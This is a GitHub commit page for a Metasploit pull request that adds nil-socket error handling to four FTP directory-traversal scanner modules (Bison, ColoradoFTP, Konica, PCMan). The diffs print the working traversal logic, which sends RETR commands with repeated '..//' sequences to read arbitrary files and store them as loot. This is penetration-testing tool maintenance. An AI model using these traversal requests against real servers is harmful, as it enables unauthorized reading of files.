Skip to content

Commit 378d8ae

Browse files
authored
Merge pull request rapid7#7697 from h00die/fix_colorado
Fix ftp traversal error conditions
2 parents 9b678c2 + b5beb2e commit 378d8ae

File tree

4 files changed

+151
-87
lines changed

4 files changed

+151
-87
lines changed

modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb

Lines changed: 41 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -61,32 +61,49 @@ def run_host(target_host)
6161
connect_login
6262
sock = data_connect
6363

64-
file_path = datastore['PATH']
65-
file = ::File.basename(file_path)
66-
67-
# make RETR request and store server response message...
68-
retr_cmd = ( "..//" * datastore['DEPTH'] ) + "#{file_path}"
69-
res = send_cmd( ["RETR", retr_cmd])
70-
71-
# read the file data from the socket that we opened
72-
response_data = sock.read(1024)
73-
74-
unless response_data
75-
print_error("#{file} not found")
76-
return
64+
# additional check per https://github.com/bwatters-r7/metasploit-framework/blob/b44568dd85759a1aa2160a9d41397f2edc30d16f/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb
65+
# and #7582
66+
if sock.nil?
67+
error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; posssible invalid response'
68+
print_status(error_msg)
69+
elog(error_msg)
70+
else
71+
file_path = datastore['PATH']
72+
file = ::File.basename(file_path)
73+
74+
# make RETR request and store server response message...
75+
retr_cmd = ( "..//" * datastore['DEPTH'] ) + "#{file_path}"
76+
res = send_cmd( ["RETR", retr_cmd])
77+
78+
# read the file data from the socket that we opened
79+
# dont assume theres still a sock to read from. Per #7582
80+
if sock.nil?
81+
error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; posssible invalid response'
82+
print_status(error_msg)
83+
elog(error_msg)
84+
return
85+
else
86+
# read the file data from the socket that we opened
87+
response_data = sock.read(1024)
88+
end
89+
90+
unless response_data
91+
print_error("#{file} not found")
92+
return
93+
end
94+
95+
if response_data.length == 0
96+
print_status("File (#{file_path})from #{peer} is empty...")
97+
return
98+
end
99+
100+
# store file data to loot
101+
loot_file = store_loot("bisonware.ftp.data", "text", rhost, response_data, file, file_path)
102+
vprint_status("Data returned:\n")
103+
vprint_line(response_data)
104+
print_good("Stored #{file_path} to #{loot_file}")
77105
end
78106
79-
if response_data.length == 0
80-
print_status("File (#{file_path})from #{peer} is empty...")
81-
return
82-
end
83-
84-
# store file data to loot
85-
loot_file = store_loot("bisonware.ftp.data", "text", rhost, response_data, file, file_path)
86-
vprint_status("Data returned:\n")
87-
vprint_line(response_data)
88-
print_good("Stored #{file_path} to #{loot_file}")
89-
90107
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
91108
vprint_error(e.message)
92109
elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")

modules/auxiliary/scanner/ftp/colorado_ftp_traversal.rb

Lines changed: 40 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -64,31 +64,48 @@ def run_host(ip)
6464
connect_login
6565
sock = data_connect
6666

67-
file_path = datastore['PATH']
68-
file = ::File.basename(file_path)
69-
70-
# make RETR request and store server response message...
71-
retr_cmd = '\\\\\\' + ("..\\" * datastore['DEPTH'] ) + "#{file_path}"
72-
res = send_cmd( ["retr", retr_cmd], true)
73-
print_status(res)
74-
# read the file data from the socket that we opened
75-
response_data = sock.read(1024)
76-
77-
unless response_data
78-
print_error("#{file} not found")
79-
return
80-
end
67+
# additional check per https://github.com/bwatters-r7/metasploit-framework/blob/b44568dd85759a1aa2160a9d41397f2edc30d16f/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb
68+
# and #7582
69+
if sock.nil?
70+
error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; posssible invalid response'
71+
print_status(error_msg)
72+
elog(error_msg)
73+
else
74+
file_path = datastore['PATH']
75+
file = ::File.basename(file_path)
8176
82-
if response_data.length == 0
83-
print_status("File (#{file_path})from #{peer} is empty...")
84-
return
85-
end
77+
# make RETR request and store server response message...
78+
retr_cmd = '\\\\\\' + ("..\\" * datastore['DEPTH'] ) + "#{file_path}"
79+
res = send_cmd( ["retr", retr_cmd], true)
80+
print_status(res)
81+
82+
# dont assume theres still a sock to read from. Per #7582
83+
if sock.nil?
84+
error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; posssible invalid response'
85+
print_status(error_msg)
86+
elog(error_msg)
87+
return
88+
else
89+
# read the file data from the socket that we opened
90+
response_data = sock.read(1024)
91+
end
8692
87-
# store file data to loot
88-
loot_file = store_loot("coloradoftp.ftp.data", "text", rhost, response_data, file, file_path)
89-
vprint_status("Data returned:\n")
90-
vprint_line(response_data)
91-
print_good("Stored #{file_path} to #{loot_file}")
93+
unless response_data
94+
print_error("#{file} not found")
95+
return
96+
end
97+
98+
if response_data.length == 0
99+
print_status("File (#{file_path})from #{peer} is empty...")
100+
return
101+
end
102+
103+
# store file data to loot
104+
loot_file = store_loot("coloradoftp.ftp.data", "text", rhost, response_data, file, file_path)
105+
vprint_status("Data returned:\n")
106+
vprint_line(response_data)
107+
print_good("Stored #{file_path} to #{loot_file}")
108+
end
92109
93110
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
94111
vprint_error(e.message)

modules/auxiliary/scanner/ftp/konica_ftp_traversal.rb

Lines changed: 35 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -62,31 +62,46 @@ def run_host(target_host)
6262
# Login anonymously and open the socket that we'll use for data retrieval.
6363
connect_login
6464
sock = data_connect
65-
file_path = datastore['PATH']
66-
file = ::File.basename(file_path)
65+
if sock.nil?
66+
error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; posssible invalid response'
67+
print_status(error_msg)
68+
elog(error_msg)
69+
else
70+
file_path = datastore['PATH']
71+
file = ::File.basename(file_path)
6772
68-
# make RETR request and store server response message...
69-
retr_cmd = ( "..//" * datastore['DEPTH'] ) + "#{file_path}"
70-
res = send_cmd( ["RETR", retr_cmd])
73+
# make RETR request and store server response message...
74+
retr_cmd = ( "..//" * datastore['DEPTH'] ) + "#{file_path}"
75+
res = send_cmd( ["RETR", retr_cmd])
7176
72-
# read the file data from the socket that we opened
73-
response_data = sock.read(1024)
77+
# read the file data from the socket that we opened
78+
# dont assume theres still a sock to read from. Per #7582
79+
if sock.nil?
80+
error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; posssible invalid response'
81+
print_status(error_msg)
82+
elog(error_msg)
83+
return
84+
else
85+
# read the file data from the socket that we opened
86+
response_data = sock.read(1024)
87+
end
7488
75-
unless response_data
76-
print_error("#{file_path} not found")
77-
return
78-
end
89+
unless response_data
90+
print_error("#{file_path} not found")
91+
return
92+
end
7993
80-
if response_data.length == 0 or ! (res =~ /^150/ )
81-
print_status("File (#{file_path})from #{peer} is empty...")
82-
return
83-
end
94+
if response_data.length == 0 or ! (res =~ /^150/ )
95+
print_status("File (#{file_path})from #{peer} is empty...")
96+
return
97+
end
8498
85-
# store file data to loot
86-
loot_file = store_loot("konica.ftp.data", "text", rhost, response_data, file, file_path)
87-
vprint_status("Data returned:\n")
88-
vprint_line(response_data)
89-
print_good("Stored #{file_path} to #{loot_file}")
99+
# store file data to loot
100+
loot_file = store_loot("konica.ftp.data", "text", rhost, response_data, file, file_path)
101+
vprint_status("Data returned:\n")
102+
vprint_line(response_data)
103+
print_good("Stored #{file_path} to #{loot_file}")
104+
end
90105
91106
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
92107
vprint_error(e.message)

modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb

Lines changed: 35 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -60,31 +60,46 @@ def run_host(target_host)
6060
# Login anonymously and open the socket that we'll use for data retrieval.
6161
connect_login
6262
sock = data_connect
63-
file_path = datastore['PATH']
64-
file = ::File.basename(file_path)
63+
if sock.nil?
64+
error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; posssible invalid response'
65+
print_status(error_msg)
66+
elog(error_msg)
67+
else
68+
file_path = datastore['PATH']
69+
file = ::File.basename(file_path)
6570
66-
# make RETR request and store server response message...
67-
retr_cmd = ( "..//" * datastore['DEPTH'] ) + "#{file_path}"
68-
res = send_cmd( ["RETR", retr_cmd])
71+
# make RETR request and store server response message...
72+
retr_cmd = ( "..//" * datastore['DEPTH'] ) + "#{file_path}"
73+
res = send_cmd( ["RETR", retr_cmd])
6974
70-
# read the file data from the socket that we opened
71-
response_data = sock.read(1024)
75+
# read the file data from the socket that we opened
76+
# dont assume theres still a sock to read from. Per #7582
77+
if sock.nil?
78+
error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; posssible invalid response'
79+
print_status(error_msg)
80+
elog(error_msg)
81+
return
82+
else
83+
# read the file data from the socket that we opened
84+
response_data = sock.read(1024)
85+
end
7286
73-
unless response_data
74-
print_error("#{file_path} not found")
75-
return
76-
end
87+
unless response_data
88+
print_error("#{file_path} not found")
89+
return
90+
end
7791
78-
if response_data.length == 0 or ! (res =~ /^150/ )
79-
print_status("File (#{file_path})from #{peer} is empty...")
80-
return
81-
end
92+
if response_data.length == 0 or ! (res =~ /^150/ )
93+
print_status("File (#{file_path})from #{peer} is empty...")
94+
return
95+
end
8296
83-
# store file data to loot
84-
loot_file = store_loot("pcman.ftp.data", "text", rhost, response_data, file, file_path)
85-
vprint_status("Data returned:\n")
86-
vprint_line(response_data)
87-
print_good("Stored #{file_path} to #{loot_file}")
97+
# store file data to loot
98+
loot_file = store_loot("pcman.ftp.data", "text", rhost, response_data, file, file_path)
99+
vprint_status("Data returned:\n")
100+
vprint_line(response_data)
101+
print_good("Stored #{file_path} to #{loot_file}")
102+
end
88103
89104
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
90105
vprint_error(e.message)

0 commit comments

Comments
 (0)